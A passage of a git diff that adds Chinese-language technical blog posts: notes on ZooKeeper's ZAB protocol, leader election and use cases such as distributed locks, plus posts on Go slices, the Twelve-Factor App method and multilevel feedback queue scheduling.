+Follower:能够接收客户端的请求,如果是读请求则可以自己处理,如果是写请求则要转发给 `Leader` 。在选举过程中会参与投票,有选举权和被选举权 。 + +Observer :就是没有选举权和被选举权的 Follower 。 + +在 ZAB 协议中对 zkServer(即上面我们说的三个角色的总称) 还有两种模式的定义,分别是 消息广播 和 崩溃恢复 。 +消息广播模式 +说白了就是 ZAB 协议是如何处理写请求的,上面我们不是说只有 Leader 能处理写请求嘛?那么我们的 Follower 和 Observer 是不是也需要 同步更新数据 呢?总不能数据只在 Leader 中更新了,其他角色都没有得到更新吧? + +#### Leader: + +第一步:Leader 将写请求 广播: +肯定需要 Leader 将写请求 广播 出去呀,让 Leader 问问 Followers 是否同意更新,如果超过半数以上的同意那么就进行 Follower 和 Observer 的更新。 + +> 要让 Follower 和 Observer 保证顺序性 。何为顺序性,比如我现在有一个写请求 A,此时 Leader 将请求 A 广播出去,因为只需要半数同意就行,所以可能这个时候有一个 Follower F1 因为网络原因没有收到,而 Leader 又广播了一个请求 B,因为网络原因,F1 竟然先收到了请求 B 然后才收到了请求 A,这个时候请求处理的顺序不同就会导致数据的不同,从而 产生数据不一致问题 。 + +所以在 Leader 这端,它为每个其他的 zkServer 准备了一个 队列 ,采用先进先出的方式发送消息。由于协议是 **通过 TCP **来进行网络通信的,保证了消息的发送顺序性,接受顺序性也得到了保证。 +除此之外,在 ZAB 中还定义了一个 全局单调递增的事务 ID ZXID ,它是一个 64 位 long 型,其中高 32 位表示 epoch 年代,低 32 位表示事务 id。epoch 是会根据 Leader 的变化而变化的,当一个 Leader 挂了,新的 Leader 上位的时候,年代(epoch)就变了。而低 32 位可以简单理解为递增的事务 id。 + +定义这个的原因也是为了顺序性,每个 proposal 在 Leader 中生成后需要 通过其 ZXID 来进行排序 ,才能得到处理 +崩溃恢复模式 + +##### Leader 选举算法 + +说到崩溃恢复我们首先要提到 ZAB 中的 Leader 选举算法,当系统出现崩溃影响最大应该是 Leader 的崩溃,因为我们只有一个 Leader ,所以当 Leader 出现问题的时候我们势必需要重新选举 Leader 。 +Leader 选举可以分为两个不同的阶段,第一个是我们提到的 Leader 宕机需要重新选举,第二则是当 Zookeeper 启动时需要进行系统的 Leader 初始化选举。下面我先来介绍一下 ZAB 是如何进行初始化选举的。 + +**Leader 宕机下面的重新选举:** + +当集群中有机器挂了,我们整个集群如何保证数据一致性? +如果只是 Follower 挂了,而且挂的没超过半数的时候,因为我们一开始讲了在 Leader 中会维护队列,所以不用担心后面的数据没接收到导致数据不一致性。 +如果 Leader 挂了那就麻烦了,我们肯定需要先暂停服务变为 Looking 状态然后进行 Leader 的重新选举(上面我讲过了),但这个就要分为两种情况了,分别是 **确保已经被 Leader 提交的提案最终能够被所有的 Follower 提交** 和 **跳过那些已经被丢弃的提案** + +**确保已经被 Leader 提交的提案最终能够被所有的 Follower 提交:** +假设 Leader (server2) 发送 commit 请求,他发送给了 server3,然后要发给 server1 的时候突然挂了。这个时候重新选举的时候我们如果把 server1 作为 Leader 的话,那么肯定会产生数据不一致性,因为 server3 肯定会提交刚刚 server2 发送的 commit 请求的提案,而 server1 根本没收到所以会丢弃。,这个时候 server1 已经不可能成为 Leader 了,因为 server1 和 server3 进行投票选举的时候会比较 ZXID ,而此时 server3 的 ZXID 肯定比 server1 的大了。 + +> Server2(leader) 发送 commit 请求给 Server1(成功) 发送 commit 请求给 Server3(失败) + +**跳过那些已经被丢弃的提案:** +假设 Leader (server2) 此时同意了提案 N1,自身提交了这个事务并且要发送给所有 Follower 要 commit 的请求,却在这个时候挂了,此时肯定要重新进行 Leader 的选举,比如说此时选 server1 为 Leader (这无所谓)。但是过了一会,这个 挂掉的 Leader 又重新恢复了 ,此时它肯定会作为 Follower 的身份进入集群中,需要注意的是刚刚 server2 已经同意提交了提案 N1,但其他 server 并没有收到它的 commit 信息,所以其他 server 不可能再提交这个提案 N1 了,这样就会出现数据不一致性问题了,所以 该提案 N1 最终需要被抛弃掉 。 + +> Server2(leader) 发送 commit 请求给 Server1(失败) 发送 commit 请求给 Server3(失败) +> Server1(leader) Server2 变为(follower)但是之前的 commit 请求一次都没有发送成功,那么丢弃 commit 请求 + +**Zookeeper 启动时的选举:** +假设我们集群中有 3 台机器,那也就意味着我们需要两台以上同意(超过半数)。比如这个时候我们启动了 server1 ,它会首先 投票给自己 ,投票内容为服务器的 myid 和 ZXID ,因为初始化所以 ZXID 都为 0,此时 server1 发出的投票为 (1,0)。但此时 server1 的投票仅为 1,所以不能作为 Leader ,此时还在选举阶段所以整个集群处于 Looking 状态。 +接着 server2 启动了,它首先也会将投票选给自己(2,0),并将投票信息广播出去(server1 也会,只是它那时没有其他的服务器了),server1 在收到 server2 的投票信息后会将投票信息与自己的作比较。首先它会比较 ZXID ,ZXID 大的优先为 Leader,如果相同则比较 myid,myid 大的优先作为 Leader。所以此时 server1 发现 server2 更适合做 Leader,它就会将自己的投票信息更改为(2,0)然后再广播出去,之后 server2 收到之后发现和自己的一样无需做更改,并且自己的 投票已经超过半数 ,则 确定 server2 为 Leader,server1 也会将自己服务器设置为 Following 变为 Follower。整个服务器就从 Looking 变为了正常状态。 +当 server3 启动发现集群没有处于 Looking 状态时,它会直接以 Follower 的身份加入集群。 +还是前面三个 server 的例子,如果在整个集群运行的过程中 server2 挂了,那么整个集群会如何重新选举 Leader 呢?其实和初始化选举差不多。 +首先毫无疑问的是剩下的两个 Follower 会将自己的状态 从 Following 变为 Looking 状态 ,然后每个 server 会向初始化投票一样首先给自己投票(这不过这里的 zxid 可能不是 0 了,这里为了方便随便取个数字)。 +假设 server1 给自己投票为(1,99),然后广播给其他 server,server3 首先也会给自己投票(3,95),然后也广播给其他 server。server1 和 server3 此时会收到彼此的投票信息,和一开始选举一样,他们也会比较自己的投票和收到的投票(zxid 大的优先,如果相同那么就 myid 大的优先)。这个时候 server1 收到了 server3 的投票发现没自己的合适故不变,server3 收到 server1 的投票结果后发现比自己的合适于是更改投票为(1,99)然后广播出去,最后 server1 收到了发现自己的投票已经超过半数就把自己设为 Leader,server3 也随之变为 Follower。 + +## Zookeeper 实战——集群管理,分布式锁,Master 选举 + +### Zookeeper 的数据模型 + +zookeeper 数据存储结构与标准的 Unix 文件系统非常相似,都是在根节点下挂很多子节点(树型)。但是 zookeeper 中没有文件系统中目录与文件的概念,而是 使用了 znode 作为数据节点 。znode 是 zookeeper 中的最小数据单元,每个 znode 上都可以保存数据,同时还可以挂载子节点,形成一个树形化命名空间。 +每个 znode 都有自己所属的 节点类型 和 节点状态。 +其中节点类型可以分为 持久节点、持久顺序节点、临时节点 和 临时顺序节点。 + +持久节点:一旦创建就一直存在,直到将其删除。 +持久顺序节点:一个父节点可以为其子节点 维护一个创建的先后顺序 ,这个顺序体现在 节点名称 上,是节点名称后自动添加一个由 10 位数字组成的数字串,从 0 开始计数。 +临时节点:临时节点的生命周期是与 客户端会话 绑定的,会话消失则节点消失 。临时节点 只能做叶子节点 ,不能创建子节点。 +临时顺序节点:父节点可以创建一个维持了顺序的临时节点(和前面的持久顺序性节点一样)。 +节点状态中包含了很多节点的属性比如 czxid 、mzxid 等等,在 zookeeper 中是使用 Stat 这个类来维护的。下面我列举一些属性解释。 + +czxid:Created ZXID,该数据节点被 创建 时的事务 ID。 +mzxid:Modified ZXID,节点 最后一次被更新时 的事务 ID。 +ctime:Created Time,该节点被创建的时间。 +mtime: Modified Time,该节点最后一次被修改的时间。 +version:节点的版本号。 +cversion:子节点 的版本号。 +aversion:节点的 ACL 版本号。 +ephemeralOwner:创建该节点的会话的 sessionID ,如果该节点为持久节点,该值为 0。 +dataLength:节点数据内容的长度。 +numChildre:该节点的子节点个数,如果为临时节点为 0。 +pzxid:该节点子节点列表最后一次被修改时的事务 ID,注意是子节点的 列表 ,不是内容。 + +### Zookeeper 的会话机制 + +我想这个对于后端开发的朋友肯定不陌生,不就是 session 吗?只不过 zk 客户端和服务端是通过 TCP 长连接 维持的会话机制,其实对于会话来说可以理解为 保持连接状态 。 +在 zookeeper 中,会话还有对应的事件,比如 CONNECTION_LOSS 连接丢失事件 、SESSION_MOVED 会话转移事件 、SESSION_EXPIRED 会话超时失效事件 。 + +### Zookeeper 的 ACL + +ACL 为 Access Control Lists ,它是一种权限控制。在 zookeeper 中定义了 5 种权限,它们分别为: + +CREATE :创建子节点的权限。 +READ:获取节点数据和子节点列表的权限。 +WRITE:更新节点数据的权限。 +DELETE:删除子节点的权限。 +ADMIN:设置节点 ACL 的权限。 + +### Zookeeper 的 Watcher 机制 + +Watcher 为事件监听器,是 zk 非常重要的一个特性,很多功能都依赖于它,它有点类似于订阅的方式,即客户端向服务端 注册 指定的 watcher ,当服务端符合了 watcher 的某些事件或要求则会 向客户端发送事件通知 ,客户端收到通知后找到自己定义的 Watcher 然后 执行相应的回调方法 。 + +- 客户端生成一个`Watcher`对象实例,该`Watcher`对象实例被客户端发送给后端,并被后端保存,当某种情况下,服务端触发该方法? + +```go +type Client interface { + Create()Watcher + SendWatcher()Watcher +} + +type Backend interface{ + Accenpt(Watcher) + Invoke() + // Invoke 里面调用Watcher.Excute() +} + +type Watcher interface{ + Excute() +} + +``` + +### Zookeeper 的实战场景之--master + +Zookeeper 的强一致性,能够很好地在保证 在高并发的情况下保证节点创建的全局唯一性 (即无法重复创建同样的节点)。 + +利用这个特性,我们可以 让多个客户端创建一个指定的节点 ,创建成功的就是 master。如果这个 master 挂了,master 挂了是不是代表会话断了?会话断了是不是意味着这个节点没了?还记得 watcher 机制,让其他不是 master 的节点监听节点的状态,子节点个数变了就代表 master 挂了,这个时候我们 触发回调函数进行重新选举 ,总的来说,我们可以完全 利用 临时节点、节点状态 和 watcher 来实现选主的功能。临时节点主要用来选举,节点状态和 watcher 可以用来判断 master 的活性和进行重新选举。 + +### Zookeeper 的实战场景之--分布式锁 + +分布式锁的实现方式有很多种,比如 Redis 、数据库 、zookeeper 等。个人认为 zookeeper 在实现分布式锁这方面是非常非常简单的。 +上面我们已经提到过了 zk 在高并发的情况下保证节点创建的全局唯一性,这玩意一看就知道能干啥了。实现互斥锁呗,又因为能在分布式的情况下,所以能实现分布式锁呗。首先肯定是如何获取锁,因为创建节点的唯一性,我们可以让多个客户端同时创建一个临时节点,创建成功的就说明获取到了锁 。然后没有获取到锁的客户端也像上面选主的非主节点创建一个 watcher 进行节点状态的监听,如果这个互斥锁被释放了(可能获取锁的客户端宕机了,或者那个客户端主动释放了锁)可以调用回调函数重新获得锁。 + +### Zookeeper 的实战场景之--命名服务 + +如何给一个对象设置 ID,大家可能都会想到 UUID,但是 UUID 最大的问题就在于它太长。那么在条件允许的情况下,我们能不能使用 zookeeper 来实现呢?我们之前提到过 zookeeper 是通过 树形结构 来存储数据节点的,那也就是说,对于每个节点的 全路径,它必定是唯一的,我们可以使用节点的全路径作为命名方式了。而且更重要的是,路径是我们可以自己定义的,这对于我们对有些有语意的对象的 ID 设置可以更加便于理解。 + +### Zookeeper 的实战场景之--集群管理 + +需求:需要知道整个集群中有多少机器在工作,我们想对及群众的每台机器的运行时状态进行数据采集,对集群中机器进行上下线操作等等。而 zookeeper 天然支持的 watcher 和 临时节点能很好的实现这些需求。我们可以为每条机器创建临时节点,并监控其父节点,如果子节点列表有变动(我们可能创建删除了临时节点),那么我们可以使用在其父节点绑定的 watcher 进行状态监控和回调。 + +### Zookeeper 的实战场景之--注册中心 + +至于注册中心也很简单,我们同样也是让 服务提供者 在 zookeeper 中创建一个临时节点并且将自己的 ip、port、调用方式 写入节点,当 服务消费者 需要进行调用的时候会 通过注册中心找到相应的服务的地址列表(IP 端口什么的) ,并缓存到本地(方便以后调用),当消费者调用服务时,不会再去请求注册中心,而是直接通过负载均衡算法从地址列表中取一个服务提供者的服务器调用服务。当服务提供者的某台服务器宕机或下线时,相应的地址会从服务提供者地址列表中移除。同时,注册中心会将新的服务地址列表发送给服务消费者的机器并缓存在消费者本机(当然可以让消费者进行节点监听,我记得 Eureka 会先试错,然后再更新)。 diff --git a/_posts/2022-10-21-test-markdown.md b/_posts/2022-10-21-test-markdown.md new file mode 100644 index 000000000000..e2641a19a870 --- /dev/null +++ b/_posts/2022-10-21-test-markdown.md @@ -0,0 +1,14 @@ +--- +layout: post +title: Lifestyle +subtitle: fifestyle +tags: [life] +--- + +#### Lifestyle 2022.10.21 + +- Coding, Adventure, Living + +#### Lifestyle 2023.10.21 + +- Alive,Self \ No newline at end of file diff --git a/_posts/2022-10-22-test-markdown.md b/_posts/2022-10-22-test-markdown.md new file mode 100644 index 000000000000..9d115fe1bc3d --- /dev/null +++ b/_posts/2022-10-22-test-markdown.md @@ -0,0 +1,23 @@ +--- +layout: post +title: Golang 切片和数组 +subtitle: Golang 的切片是对数组的封装,是个结构体,里面存储着指向数组的指针 +tags: [golang] +--- + +### 数组的长度是数组的类型的一部分 + +[3]int [4]int 是不同的类型 + +### golang 的切片是个结构体,含有指向数组的指针和数组的长度 以及容量 + +```go +type slice struct{ + // 数组指针 + array unsafe.Pointer + // 数组的长度 + len int + // 数组的容量 + cap int +} +``` diff --git a/_posts/2022-10-23-test-markdown.md b/_posts/2022-10-23-test-markdown.md new file mode 100644 index 000000000000..625051b86db2 --- /dev/null +++ b/_posts/2022-10-23-test-markdown.md @@ -0,0 +1,7 @@ +--- +layout: post +title: 什么是 scheduler? +subtitle: Go 程序的执行由两层组成:Go Program,Runtime,即用户程序和运行时。它们之间通过函数调用来实现内存管理、channel 通信、goroutines 创建等功能。用户程序进行的系统调用都会被 Runtime 拦截,以此来帮助它进行调度以及垃圾回收相关的工作。 +tags: [golang] +--- + diff --git a/_posts/2022-10-24-test-markdown.md b/_posts/2022-10-24-test-markdown.md new file mode 100644 index 000000000000..0ddb336bfd58 --- /dev/null +++ b/_posts/2022-10-24-test-markdown.md @@ -0,0 +1,115 @@ +--- +layout: post +title: Important Factor For APP 软件开发人员要了解的十二个要素 +subtitle: 这套理论适用于任意语言和后端服务(数据库、消息队列、缓存等)开发的应用程序 +tags: [开发] +--- + +# 简介 + +如今,软件通常会作为一种服务来交付,它们被称为网络应用程序,或软件即服务(SaaS)12-Factor 为构建如下的 SaaS 应用提供了方法论: + +- 使用标准化流程自动配置,从而使新的开发者花费最少的学习成本加入这个项目。 +- 在各个系统中提供最大的可移植性。(不受各个操作系统的限制) +- 容易部署在云计算机上,从而节省资源 +- 开发环境和生产环境之间的差异降低到最小,并持续交付实施敏捷开发 +- 在开发流程不发生明显的变化下实现扩展、在架构不发生明显的变化下实现扩展、在工具不发生明显的变化下实现扩展 + +## 1.One Codebase / Many Deploy 基准代码 + +通常会使用版本控制系统加以管理,如 Git, Mercurial, Subversion。一份用来跟踪代码所有修订版本的数据库被称作 代码库(code repository, code repo, repo)。 +在类似 SVN 这样的集中式版本控制系统中,基准代码 就是指控制系统中的这一份代码库;而在 Git 那样的分布式版本控制系统中,基准代码 则是指最上游的那份代码库. +基准代码和应用之间总是保持一一对应的关系: +一旦有多个基准代码,就不能称为一个应用,而是一个分布式系统。分布式系统中的每一个组件都是一个应用,每一个应用可以分别使用 12-Factor 进行开发。 +多个应用共享一份基准代码是有悖于 12-Factor 原则的。解决方案是将共享的代码拆分为独立的类库,然后使用 依赖管理 策略去加载它们。尽管每个应用只对应一份基准代码,但可以同时存在多份部署。每份 部署 相当于运行了一个应用的实例。通常会有一个生产环境,一个或多个预发布环境。此外,每个开发人员都会在自己本地环境运行一个应用实例,这些都相当于一份部署。 +所有部署的基准代码相同,但每份部署可以使用其不同的版本。比如,开发人员可能有一些提交还没有同步至预发布环境;预发布环境也有一些提交没有同步至生产环境。但它们都共享一份基准代码,我们就认为它们只是相同应用的不同部署而已。 + +## 2.显式声明依赖关系( dependency ) + +> 显式声明依赖关系( dependency ) +> 通过打包系统安装的类库可以是系统级的(称之为 “site packages”),或仅供某个应用程序使用,部署在相应的目录中(称之为 “vendoring” 或 “bunding”)。规则下的应用程序不会隐式依赖系统级的类库.Ruby 的 Bundler 使用 Gemfile 作为依赖项声明清单,使用 bundle exec 来进行依赖隔离。Python 中则可分别使用两种工具 – Pip 用作依赖声明, Virtualenv 用作依赖隔离。显式声明依赖的优点之一是为新进开发者简化了环境配置流程。新进开发者可以检出应用程序的基准代码,安装编程语言环境和它对应的依赖管理工具,只需通过一个 构建命令 来安装所有的依赖项,即可开始工作。 + +## 3.配置 在环境变量中存储配置 + +应用的 配置 在不同 部署 (预发布、生产环境、开发环境等等)间会有很大差异。这其中包括: + +- 数据库,Memcached,以及其他 后端服务 的配置. +- 第三方服务的证书,如 Amazon S3、Twitter 等 +- 每份部署特有的配置,如域名等 + +有些应用在代码中使用常量保存配置,这与 12-Factor 所要求的代码和配置严格分离显然大相径庭。配置文件在各部署间存在大幅差异,代码却完全一致。 + +一个解决方法是使用配置文件,但不把它们纳入版本控制系统,就像 Rails 的 config/database.yml 。这相对于在代码中使用常量已经是长足进步,但仍然有缺点:总是会不小心将配置文件签入了代码库;配置文件的可能会分散在不同的目录,并有着不同的格式,这让找出一个地方来统一管理所有配置变的不太现实。更糟的是,这些格式通常是语言或框架特定的。 + +环境变量可以非常方便地在不同的部署间做修改,却不动一行代码;与配置文件不同,不小心把它们签入代码库的概率微乎其微;与一些传统的解决配置问题的机制(比如 Java 的属性配置文件)相比,环境变量与语言和系统无关。 + +环境变量的粒度要足够小,且相对独立。它们永远也不会组合成一个所谓的“环境”,而是独立存在于每个部署之中。当应用程序不断扩展,需要更多种类的部署时,这种配置管理方式能够做到平滑过渡 + +## 4.把后端服务(backing services)当作附加资源 + +后端服务是指程序运行所需要的通过网络调用的各种服务,如数据库(MySQL,CouchDB),消息/队列系统(RabbitMQ,Beanstalkd),SMTP 邮件发送服务(Postfix),以及缓存系统(Memcached)。本地服务之外,应用程序有可能使用了第三方发布和管理的服务。 + +**每个不同的后端服务是一份 资源** 。例如,一个 MySQL 数据库是一个资源,两个 MySQL 数据库(用来数据分区)就被当作是 2 个不同的资源。12-Factor 应用将这些数据库都视作 附加资源 ,这些资源和它们附属的部署保持松耦合。部署可以按需加载或卸载资源。例如,如果应用的数据库服务由于硬件问题出现异常,管理员可以从最近的备份中恢复一个数据库,卸载当前的数据库,然后加载新的数据库 – 整个过程都不需要修改代码。 + +## 5.严格分离构建和运行 + +基准代码 转化为一份部署(非开发环境)需要以下三个阶段: + +- 构建阶段 是指将代码仓库转化为可执行包的过程。构建时会使用指定版本的代码,获取和打包 依赖项,编译成二进制文件和资源文件。 +- 发布阶段 会将构建的结果和当前部署所需 配置 相结合,并能够立刻在运行环境中投入使用。 +- 运行阶段 (或者说“运行时”)是指针对选定的发布版本,在执行环境中启动一系列应用程序 进程。 + +新的代码在部署之前,需要开发人员触发构建操作。但是,运行阶段不一定需要人为触发,而是可以自动进行。如服务器重启,或是进程管理器重启了一个崩溃的进程。因此,运行阶段应该保持尽可能少的模块,这样假设半夜发生系统故障而开发人员又捉襟见肘也不会引起太大问题。构建阶段是可以相对复杂一些的,因为错误信息能够立刻展示在开发人员面前,从而得到妥善处理。 + +## 6.以一个或多个无状态进程运行应用 + +简单的场景下,代码是一个独立的脚本,运行环境是开发人员自己的笔记本电脑,进程由一条命令行(例如 python my_script.py)。另外一个极端情况是,复杂的应用可能会使用很多 进程类型 ,也就是零个或多个进程实例。也就是我们运行的进程在执行的过程不考虑执行的内容需不需要保留给下一次操作。将来的请求多半会由其他进程来服务。 + +**应用的进程必须无状态且无共享。** 任何需要持久化的数据都要存储在 后端服务内,比如数据库。需要共享的数据要存储在后端服务当中。 +一些互联网系统依赖于 “粘性 session”, 这是指将用户 session 中的数据缓存至某进程的内存中,(缓存用户的浏览器中间) +Session 中的数据应该保存在诸如 Memcached 或 Redis 这样的带有过期时间的缓存中。 + +## 7.通过端口绑定(Port binding)来提供服务 + +互联网应用 通过端口绑定来提供服务,该服务将监听所有发送到这个端口请求。 + +- 本地环境中,开发人员通过类似 http://localhost:5000/的地址来访问服务。在线上环境中,请求统一发送至公共域名而后路由至绑定了端口的网络进程。 +- 端口绑定这种方式 一个服务可以为另外一个服务提供后端服务。调用方将使用服务方提供的 URL. + +## 8.通过进程模型进行扩展 + +应用的进程所具备的无共享,水平分区的特性 意味着添加并发会变得简单而稳妥。这些进程的类型以及每个类型中进程的数量就被称作 进程构成 。 + +## 9.快速启动和优雅终止可最大化健壮性 + +进程 是 易处理(disposable)的,意思是说它们可以瞬间开启或停止。这有利于快速、弹性的伸缩应用,迅速部署变化的 代码 或 配置 ,稳健的部署应用。进程应当追求 最小启动时间 。 理想状态下,进程从敲下命令到真正启动并等待请求的时间应该只需很短的时间。更少的启动时间提供了更敏捷的 发布 以及扩展过程,此外还增加了健壮性,因为进程管理器可以在授权情形下容易的将进程搬到新的物理机器上。 + +对于普通进程来说 一旦接收 终止信号(SIGTERM) 就会优雅的终止 。网络进程的优雅终止是:**某个服务与某个端口绑定,那么终止的时候,该服务将拒绝所有发送到该端口的请求,直到把已经接收到的请求全部处理完毕后终止。** +对于 worker 进程来说,**当前正在执行的所有任务全都回退到任务队列**。隐含的要求是:“任务应该是可以重复执行的”。实现主要是通过“把结果包装进入事务” + +## 10.尽可能的保持开发,预发布,线上环境相同 + +从以往经验来看,开发环境(即开发人员的本地 部署)和线上环境(外部用户访问的真实部署)之间存在着很多差异。这些差异表现在以下三个方面: + +时间差异: 开发人员正在编写的代码可能需要几天,几周,甚至几个月才会上线。 +人员差异: 开发人员编写代码,运维人员部署代码。 +工具差异: 开发人员或许使用 Nginx,SQLite,OS X,而线上环境使用 Apache,MySQL 以及 Linux。 + +持续部署 就必须缩小本地与线上差异。 再回头看上面所描述的三个差异: +缩小时间差异:开发人员可以几小时,甚至几分钟就部署代码。 +缩小人员差异:开发人员不只要编写代码,更应该密切参与部署过程以及代码在线上的表现。 +缩小工具差异:尽量保证开发环境以及线上环境的一致性。像 Vagrant 这样轻量的虚拟环境就可以使得开发人员的本地环境与线上环境无限接近 + +开发人员有时会觉得在本地环境中使用轻量的后端服务具有很强的吸引力,而那些更重量级的健壮的后端服务应该使用在生产环境。例如,本地使用 SQLite 线上使用 PostgreSQL;又如本地缓存在进程内存中而线上存入 Memcached。 + +## 11.把日志当作事件流 + +不应该试图去写或者管理日志文件。相反,每一个运行的进程都会直接的标准输出(stdout)事件流。在预发布或线上部署中,每个进程的输出流由运行环境截获,并将其他输出流整理在一起,然后一并发送给一个或多个最终的处理程序,用于查看或是长期存档。这些存档路径对于应用来说不可见也不可配置,而是完全交给程序的运行环境管理。类似 Logplex 和 Fluentd 的开源工具可以达到这个目的。这些事件流可以输出至文件,或者在终端实时观察。最重要的,输出流可以发送到 Splunk 这样的日志索引及分析系统,或 Hadoop/Hive 这样的通用数据存储系统. +找出过去一段时间特殊的事件。 +图形化一个大规模的趋势,比如每分钟的请求量。 +根据用户定义的条件实时触发警报,比如每分钟的报错超过某个警戒线。 + +## 12.后台管理任务当作一次性进程运行 + +一次性管理进程应该和正常的 常驻进程 使用同样的环境。这些管理进程和任何其他的进程一样使用相同的 代码 和 配置 ,基于某个 发布版本 运行。后台管理代码应该随其他应用程序代码一起发布,从而避免同步问题。 +所有进程类型应该使用同样的 依赖隔离 技术。 diff --git a/_posts/2022-11-01-test-markdown.md b/_posts/2022-11-01-test-markdown.md new file mode 100644 index 000000000000..af831b57563a --- /dev/null +++ b/_posts/2022-11-01-test-markdown.md @@ -0,0 +1,79 @@ +--- +layout: post +title: 多级反馈队列? +subtitle: MLFQ +tags: [golang] +--- + +### MLFQ 的基本规则: + +MLFQ 中有许多独立的队列(queue),每个队列有不同的优先级(priority level)。任何时刻,一个工作只能存在于一个队列中。MLFQ 总是优先执行较高优先级的工作(即在较高级队列中的工作)。 + +MLFQ 调度策略的关键在于如何设置优先级。MLFQ 没有为每个工作指定不变的优先情绪而已,而是根据观察到的行为调整它的优先级。例如,如果一个工作不断放弃 CPU 去等待键盘输入,这是交互型进程的可能行为,MLFQ 因此会让它保持高优先级。相反,如果一个工作长时间地占用 CPU,MLFQ 会降低其优先级。通过这种方式,MLFQ 在进程运行过程中学习其行为,从而利用工作的历史来预测它未来的行为。 +这个算法的一个主要目标: +如果不知道工作是短工作还是长工作,那么就在开始的时候假设其是短工作,并赋予最高优先级。如果确实是短工作,则很快会执行完毕,否则将被慢慢移入低优先级队列,而这时该工作也被认为是长工作了。通过这种方式,MLFQ 近似于 SJF。 + +看一个有 I/O 的例子: +如果进程在时间片用完之前主动放弃 CPU,则保持它的优先级不变。'这条规则的意图很简单:假设交互型工作中有大量的 I/O 操作(比如等待用户的键盘或鼠标输入),它会在时间片用完之前放弃 CPU。在这种情况下,我们不想处罚它,只是保持它的优先级不变。交互型工作 B(用灰色表示)每执行 1ms 便需要进行 I/O 操作,它与长时间运行的工作 A(用黑色表示)竞争 CPU。MLFQ 算法保持 B 在最高优先级,因为 B 总是让出 CPU。如果 B 是交互型工作,MLFQ 就进一步实现了它的目标,让交互型工作快速运行。 + +饥饿(starvation)问题: +如果系统有“太多”交互型工作,就会不断占用 CPU,(因为他的优先级没有发生改变)导致长工作永远无法得到 CPU(它们饿死了)。即使在这种情况下,我们希望这些长工作也能有所进展。 + +愚弄调度程序(game the scheduler): +其次,聪明的用户会重写程序,愚弄调度程序(game the scheduler)。愚弄调度程序指的是用一些卑鄙的手段欺骗调度程序,让它给远超公平的资源。上述算法对如下的攻击束手无策:进程在时间片用完之前,调用一个 I/O 操作(比如访问一个无关的文件),从而主动释放 CPU。如此便可以保持在高优先级,占用更多的 CPU 时间。做得好时(比如,每运行 99%的时间片时间就主动放弃一次 CPU),工作可以几乎独占 CPU。 + +至此,我们得到了 MLFQ 的两条基本规则。 + +#### 规则 1:如果 A 的优先级 > B 的优先级,运行 A(不运行 B)。 + +意味着高优先级的队列的任务比低优先级队列的任务要先执行。 + +#### 规则 2:如果 A 的优先级 = B 的优先级,轮转运行 A 和 B。 + +意味着同一级队列的任务交替轮流按照先来先执行的原则交替执行。 + +**存在的问题:低优先级队列的任务将被饿死** +(每次新到到达的任务 CPU 假设它是短作业且优先级别比较高) +Q8 队列源源不断的有新的任务到来执行,那么低优先级队列的任务将被饿死。 + +#### 基础版规则 3:刚进入的任务放在最高优先级(最上层队列)。 + +#### 基础版规则 4a:工作用完整个时间片后,降低其优先级(移入下一个队列)。 + +#### 基础版规则 4b:如果工作在其时间片以内主动释放 CPU,则优先级不变。 + +**存在的问题:当某个任务每次都执行到 CPU 分配给他的时间片的 99%的时候,主动放弃 CPU 永远使得自己占据着最高优先级的队列,而且如果他自身就需要很长的时间,那么低优先级队列的任务将被饿死。** + +#### 进阶版规则 4:任务用完这层队列分配给它的最大的时间配额时,无论中间主动放弃了多少次 CPU,都把该任务降低优先级(移入下一个队列)。 + +为 MLFQ 的每层队列提供更完善的 CPU 计时方式(accounting)。调度程序应该记录一个进程在某一层中消耗的总时间,而不是在调度时重新计时。只要进程用完了自己的配额,就将它降到低一优先级的队列中去。不论它是一次用完的,还是拆成很多次用完。 + +#### 规则 5:经过一段时间 S,就将系统中所有工作重新加入最高优先级队列。 + +避免饥饿问题。要让 CPU 密集型工作也能取得一些进展(即使不多),我们能做些什么? + +周期性地提升(boost)所有工作的优先级。可以有很多方法做到,但我们就用最简单的:将所有工作扔到最高优先级队列。于是有了新规则。 + +**其他存在的问题:配置多少个级别的队列?每个队列的时间额度配比怎么设置大小?多久提升一次进程的优先级?** + +### MLFQ 的变体: + +#### 1.支持不同队列可变的时间片长 + +高优先级队列通常只有较短的时间片(比如 10ms 或者更少),因而这一层的交互工作可以更快地切换。低优先级队列中更多的是 CPU 密集型工作,配置更长的时间片会取得更好的效果。 +Solaris 的 MLFQ 实现(时分调度类 TS)很容易配置。它提供了一组表来决定进程在其生命周期中如何调整优先级,每层的时间片多大,以及多久提升一个工作的优先级[。管理员可以通过这些表,让调度程序的行为方式不同。该表默认有 60 层队列,时间片长度从 20ms(最高优先级),到几百 ms(最低优先级),每一秒左右提升一次进程的优先级。其他一些 MLFQ 调度程序没用表,甚至没用本章中讲到的规则,有些采用数学公式来调整优先级。例如,FreeBSD 调度程序(4.3 版本),会基于当前进程使用了多少 CPU,通过公式计算某个工作的当前优先级。另外,使用量会随时间衰减,这提供了期望的优先级提升,但与这里描述方式不同。阅读 Epema 的论文,他漂亮地概括了这种使用量衰减(decay-usage)算法及其特征。 + +最后,许多调度程序有一些我们没有提到的特征。例如,有些调度程序将最高优先级队列留给操作系统使用,因此通常的用户工作是无法得到系统的最高优先级的。有些系统允许用户给出优先级设置的建议(advice),比如通过命令行工具 nice,可以增加或降低工作的优先级(稍微),从而增加或降低它在某个时刻运行的机会。操作系统很少知道什么策略对系统中的单个进程和每个进程算是好的,因此提供接口并允许用户或管理员给操作系统一些提示(hint)常常很有用。我们通常称之为建议(advice),因为操作系统不一定要关注它,但是可能会将建议考虑在内,以便做出更好的决定。这种用户建议的方式在操作系统中的各个领域经常十分有用,包括调度程序(通过 nice)、内存管理(madvise),以及文件系统(通知预取和缓存)。 +一组优化的 MLFQ 规则。为了方便查阅,我们重新列在这里。 + +### 总结 + +#### 规则 1:如果 A 的优先级 > B 的优先级,运行 A(不运行 B)。 + +#### 规则 2:如果 A 的优先级 = B 的优先级,轮转运行 A 和 B。 + +#### 规则 3:工作进入系统时,放在最高优先级(最上层队列)。 + +#### 规则 4:当每个任务完成自己在该层被分配到的时间分额时,就会降低优先级。(无论中间主动放弃了多少次 CPU)。 + +#### 规则 5:经过一段时间 S,就将系统中所有工作重新加入最高优先级队列。 diff --git a/_posts/2022-11-02-test-markdown.md b/_posts/2022-11-02-test-markdown.md new file mode 100644 index 000000000000..8fb868435217 --- /dev/null +++ b/_posts/2022-11-02-test-markdown.md @@ -0,0 +1,436 @@ +--- +layout: post +title: 进程?线程? +subtitle: 以及PCB 的组织方式 